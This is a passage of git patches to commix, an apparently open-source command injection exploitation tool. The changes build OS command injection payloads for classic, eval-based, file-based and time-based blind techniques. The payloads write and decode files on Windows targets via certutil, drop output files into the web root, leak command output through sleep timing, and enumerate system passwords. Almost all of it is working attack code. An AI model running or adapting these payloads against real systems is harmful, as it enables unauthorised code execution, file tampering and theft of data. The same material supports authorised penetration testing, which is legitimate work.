suffix, whitespace, htt # cmd = "cmd /c if exist " + fname + " (echo " + fname + ")" # dest_to_write = dest_to_write + "\\" + fname cmd = checks.check_file(dest_to_write) - cmd = "cmd /c " + cmd + cmd = checks.add_new_cmd(cmd) if not menu.options.alter_shell: cmd = checks.quoted_cmd(cmd) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 0daac7bd5c..82adf5e2d5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -292,6 +292,9 @@ def custom_web_root(url, OUTPUT_TEXTFILE): break elif procced_option in settings.CHOICE_NO: output = custom_web_root(url, OUTPUT_TEXTFILE) + info_msg = "Using '" + output + info_msg += "' as command execution output." + print(settings.print_info_msg(info_msg)) if not settings.DEFINED_WEBROOT: pass else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 7761d474ed..d8ad42ca0c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -185,7 +185,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output - checks.print_passes(sys_users, filename, _, alter_shell) + checks.print_passes(sys_passes, filename, _, alter_shell) """ Single os-shell execution diff --git a/src/utils/common.py b/src/utils/common.py index d60b8802d8..8de209f3d4 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -63,7 +63,7 @@ def is_empty(): if settings.ANSWERS: if not any(_ in settings.ANSWERS for _ in ",="): - return is_empty(message, default=None, check_batch=True) + return is_empty() else: for item in settings.ANSWERS.split(','): question = item.split('=')[0].strip() diff --git a/src/utils/settings.py b/src/utils/settings.py index 37f136b89a..f7e957208e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "85" +REVISION = "86" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c1638ae52289f22afcdfe51682eb6fa34c0c16cc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 19 Jun 2022 08:59:22 +0300 Subject: [PATCH 0164/1023] Trivial update --- .../results_based/techniques/classic/cb_payloads.py | 6 +++--- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 6 +++--- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 4 ++-- src/utils/settings.py | 2 +- 6 files changed, 11 insertions(+), 11 deletions(-) diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 3b64637dfd..038538e68b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -27,13 +27,13 @@ def decision(separator, TAG, randv1, randv2): if settings.TARGET_OS == "win": if settings.SKIP_CALC: payload = (separator + - "echo " + TAG + TAG + TAG + "< nul" + "echo " + TAG + TAG + TAG + " Date: Mon, 20 Jun 2022 09:24:57 +0300 Subject: [PATCH 0165/1023] Minor update --- src/core/injections/controller/checks.py | 5 ++--- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b38547e4be..7e699ef647 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1002,7 +1002,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): Lists available tamper scripts """ def list_tamper_scripts(): - info_msg = "Listing available tamper scripts:" + info_msg = "Listing available tamper scripts." print(settings.print_info_msg(info_msg)) if menu.options.list_tampers: for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): @@ -1010,8 +1010,7 @@ def list_tamper_scripts(): match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() - sub_content = Fore.MAGENTA + os.path.basename(script) + Style.RESET_ALL + " - " + comment - print(settings.print_sub_content(sub_content)) + print(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment) """ Tamper script checker diff --git a/src/utils/settings.py b/src/utils/settings.py index 00f7534682..818a017886 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "87" +REVISION = "88" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 8287dd16791642e2eab6bc27c5d2a916212136ec Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 Jun 2022 06:53:28 +0300 Subject: [PATCH 0166/1023] Minor updates --- src/core/injections/controller/checks.py | 25 ++++++++++++------- .../techniques/classic/cb_file_access.py | 17 +++---------- .../techniques/eval_based/eb_file_access.py | 5 +--- .../techniques/eval_based/eb_payloads.py | 8 +++--- .../techniques/file_based/fb_file_access.py | 12 +-------- .../techniques/file_based/fb_payloads.py | 15 ++++++----- src/utils/settings.py | 9 ++++--- 7 files changed, 39 insertions(+), 52 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7e699ef647..4daae493b3 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2020,6 +2020,7 @@ def quoted_cmd(cmd): return cmd """ +Add new "cmd /c" """ def add_new_cmd(cmd): cmd = "cmd /c " + cmd @@ -2037,17 +2038,20 @@ def escape_single_quoted_cmd(cmd): """ def find_filename(dest_to_write, content): fname = os.path.basename(dest_to_write) - #tmp_fname = "tmp_" + fname - tmp_fname = fname - content = quoted_cmd(content) - cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname + tmp_fname = fname + "_tmp" + # _ = settings.FILE_WRITE + if settings.TARGET_OS == "win": + # _ = settings.FILE_WRITE_WIN + cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + " '" + content + "'" + else: + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname return fname, tmp_fname, cmd """ Decode base 64 encoding """ def win_decode_b64_enc(fname, tmp_fname): - cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + settings.SINGLE_WHITESPACE + fname + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\") return cmd """ @@ -2073,14 +2077,17 @@ def remove_parenthesis(cmd): """ def write_content(content, dest_to_write): content = quoted_cmd(content) - cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write + if settings.TARGET_OS == "win": + cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + " '" + content + "'" + else: + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write return cmd """ Delete filename """ def delete_tmp(tmp_fname): - cmd = settings.WIN_DEL + tmp_fname + cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\") return cmd """ @@ -2088,7 +2095,7 @@ def delete_tmp(tmp_fname): """ def check_file(dest_to_upload): if settings.TARGET_OS == "win": - cmd = settings.FILE_LIST_WIN + dest_to_upload + cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\") else: cmd = settings.FILE_LIST + dest_to_upload cmd = add_command_substitution(cmd) @@ -2113,7 +2120,7 @@ def file_content_to_read(): info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read + cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\") else: if settings.EVAL_BASED_STATE: cmd = "(" + settings.FILE_READ + file_to_read + ")" diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 35d6da05d3..88bfc902bf 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -38,32 +38,21 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # cmd = "if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) else: cmd = checks.write_content(content, dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - if settings.USE_BACKTICKS: - cmd = checks.remove_command_substitution(cmd) + cmd = checks.check_file(dest_to_write) + if settings.USE_BACKTICKS: + cmd = checks.remove_command_substitution(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 82c285f3f4..86d0a3040b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -44,15 +44,12 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, cmd = checks.delete_tmp(tmp_fname) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) eb_injector.injection_results(response, TAG, cmd) - #cmd = "if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) else: cmd = checks.write_content(content, dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) + cmd = checks.check_file(dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 6e56523500..eb6c0cc168 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -162,7 +162,7 @@ def cmd_execution(separator, TAG, cmd): if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + - "` cmd /c " + cmd + "`." + + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) @@ -170,7 +170,7 @@ def cmd_execution(separator, TAG, cmd): else: payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + - separator + " cmd /c " + cmd + + separator + cmd + separator + "echo '" + TAG + "'" + separator + "echo '" + TAG + "'`)%3B" ) @@ -209,14 +209,14 @@ def cmd_execution_alter_shell(separator, TAG, cmd): if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + - "` cmd /c " + python_payload + "`." + + "`" + python_payload + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + - separator + " cmd /c " + python_payload + + separator + python_payload + separator + "echo '" + TAG + "'" + separator + "echo '" + TAG + "'`)%3B" ) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index ed2426e5d4..45d85f4a71 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -35,30 +35,20 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": cmd = checks.change_dir(dest_to_write) - cmd = cmd + separator + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) cmd = checks.delete_tmp(tmp_fname) - cmd = cmd + separator + settings.WIN_COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # cmd = "cmd /c if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) - cmd = checks.add_new_cmd(cmd) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) else: cmd = checks.write_content(content, dest_to_write) cmd = cmd + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) + cmd = checks.check_file(dest_to_write) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 8433e12682..b0984350ef 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -26,11 +26,14 @@ File-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, OUTPUT_TEXTFILE): - - - payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) + if settings.TARGET_OS == "win": + payload = (separator + + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '" + TAG + "'\"" + ) + else: + payload = (separator + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + ) return payload @@ -75,7 +78,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + - "\")\"') do @set /p = %i" + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + " Date: Wed, 22 Jun 2022 07:41:12 +0300 Subject: [PATCH 0167/1023] Update regarding commit: https://github.com/commixproject/commix/commit/8287dd16791642e2eab6bc27c5d2a916212136ec --- .../techniques/time_based/tb_enumeration.py | 4 +- .../techniques/time_based/tb_file_access.py | 13 +- .../blind/techniques/time_based/tb_handler.py | 3 +- .../techniques/time_based/tb_payloads.py | 122 +++++++++--------- src/utils/settings.py | 2 +- 5 files changed, 66 insertions(+), 78 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 8ccd42bc94..572f1d6632 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -34,8 +34,8 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.PS_VERSION - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) + # if alter_shell: + # cmd = checks.escape_single_quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index b292b45526..6f42db0d7e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -40,30 +40,19 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # cmd = "if exist " + fname + " (echo " + fname + ")" - # dest_to_write = dest_to_write + "\\" + fname - cmd = checks.check_file(dest_to_write) - if not menu.options.alter_shell: - cmd = checks.quoted_cmd(cmd) else: cmd = checks.write_content(content, dest_to_write) cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) + cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 6ade57a197..f3b277efef 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -249,7 +249,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: - cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" + rand_num = randv1 + randv2 + cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" else: cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 31c925517f..3af148ca52 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -26,11 +26,11 @@ """ def decision(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : + if separator == "|" : payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) elif separator == "&&" : @@ -38,8 +38,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " - "do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) else: @@ -96,24 +96,24 @@ def decision(separator, TAG, output_length, timesec, http_request_method): def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" - if separator == "||" : - payload = (separator + " " + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(output_length) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(output_length) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ) else: if separator == ";" : @@ -140,7 +140,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + # Find the length of the output, using readline(). "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator + @@ -177,22 +177,22 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + - "\"') do if %i==" +str(output_length) + " " - "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")" + "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\"" ) else: @@ -252,23 +252,23 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + " " + payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE + - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE + + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ) else: if separator == ";" : @@ -330,11 +330,11 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - if separator == "||" : - payload = (separator + " " + + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" ) elif separator == "&&" : @@ -342,8 +342,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + - cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+ - " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" + cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\"" ) else: @@ -415,24 +415,24 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" - if separator == "||" : - payload = (separator + " " + if separator == "|" : + payload = (separator + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + - "') do if %i==" +str(ascii_char) + " " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " - "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")" + "') do if %i==" + str(ascii_char) + 